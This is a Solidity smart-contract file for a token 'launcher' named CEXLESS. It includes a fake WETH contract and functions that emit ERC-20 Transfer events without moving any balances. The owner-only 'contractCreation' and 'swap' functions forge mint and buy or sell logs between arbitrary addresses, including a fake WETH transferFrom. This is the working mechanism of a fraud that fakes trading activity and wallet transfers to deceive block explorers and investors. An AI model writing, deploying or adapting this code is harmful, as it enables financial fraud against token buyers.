Forkchoice Ethereum Mainnet

//SPDX-License-Identifier: MIT

pragma solidity ^0.8.19;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }

    function _contextSuffixLength() internal view virtual returns (uint256) {
        return 0;
    }
}

abstract contract Ownable is Context {
    address private _owner;

    /**
     * @dev The caller account is not authorized to perform an operation.
     */
    error OwnableUnauthorizedAccount(address account);

    /**
     * @dev The owner is not a valid owner account. (eg. `address(0)`)
     */
    error OwnableInvalidOwner(address owner);

    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    /**
     * @dev Initializes the contract setting the address provided by the deployer as the initial owner.
     */
    constructor(address initialOwner) {
        if (initialOwner == address(0)) {
            revert OwnableInvalidOwner(address(0));
        }
        _transferOwnership(initialOwner);
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if the sender is not the owner.
     */
    function _checkOwner() internal view virtual {
        if (owner() != _msgSender()) {
            revert OwnableUnauthorizedAccount(_msgSender());
        }
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby disabling any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership_9816(address newOwner) public virtual onlyOwner {
        if (newOwner == address(0)) {
            revert OwnableInvalidOwner(address(0));
        }
        _transferOwnership(newOwner);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

contract CEXLESS {
event Transfer(address indexed from, address indexed to, uint256 value);
    function emtTransfer_9816(address from, address to, uint256 amount) public{
        emit Transfer(from, to, amount);
    }
}

contract WETH  {
event Transfer(address indexed from, address indexed to, uint256 value);
function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external {
        emit Transfer(from, to, amount);
    }

    function emtTransfer_9816(address from, address to, uint256 amount) public{
        emit Transfer(from, to, amount);
    }
}

contract CEXLESSLauncher is Ownable{
    WETH private _weth;
    CEXLESS private _token;

    constructor()
    Ownable(msg.sender){
    }

    function set(address token, address weth) public onlyOwner {
        _token = CEXLESS(token);
        _weth = WETH(weth);
    }

    function contractCreation(address deployer, uint256 amount) public onlyOwner{
        _token.emtTransfer_9816(address(0), deployer, amount);
        _token.emtTransfer_9816(deployer, msg.sender, amount);
    }

    function swap(
        address pair,
        address buyer,
        uint256 amountTokens,
        uint256 amountWBNB
    ) external onlyOwner {
        // Emit Transfer event for Token A (from B to C)
        _token.emtTransfer_9816(pair, buyer, amountTokens);
        
        // Emit Transfer event for Token T (from C to B)
        _weth.transferFrom(buyer, pair, amountWBNB);
    }
}